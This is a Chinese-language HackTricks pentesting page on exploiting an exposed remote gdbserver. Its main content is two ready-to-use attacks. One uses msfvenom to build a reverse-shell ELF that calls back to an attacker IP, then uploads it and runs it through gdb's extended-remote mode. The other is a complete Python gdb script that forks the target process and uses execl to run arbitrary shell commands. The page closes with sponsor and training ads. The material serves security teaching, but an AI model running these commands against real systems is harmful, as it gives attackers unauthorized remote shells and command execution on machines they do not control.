hacktricks/network-services-pentesting/pentesting-remote-gdbserver.md

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Pentesting Remote GdbServer

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基本信息

gdbserver 是一个可以远程调试程序的工具。它与需要调试的程序在同一系统上并行运行,称为“目标”。这种设置允许 GNU 调试器 从不同的机器“主机”连接,主机上存储着源代码和被调试程序的二进制副本。gdbserver 和调试器之间的连接可以通过 TCP 或串行线路进行,从而实现灵活的调试设置。

您可以让 gdbserver 在任何端口上监听,而此时 nmap 无法识别该服务

利用

上传并执行

您可以轻松创建一个 elf 后门与 msfvenom,上传并执行它:

# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell

执行任意命令

还有另一种方法可以通过 从这里获取的 python 自定义脚本 使调试器执行任意命令

# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls

首先在本地创建这个脚本

{% code title="remote-cmd.py" %}

#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}

self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)

def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()

{% endcode %}

从黑客的角度看待您的网络应用、网络和云

查找并报告具有实际业务影响的关键可利用漏洞。 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化漏洞利用收集重要证据将您的辛勤工作转化为有说服力的报告。

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} 学习和实践AWS黑客攻击HackTricks培训AWS红队专家ARTE
学习和实践GCP黑客攻击HackTricks培训GCP红队专家GRTE

支持HackTricks
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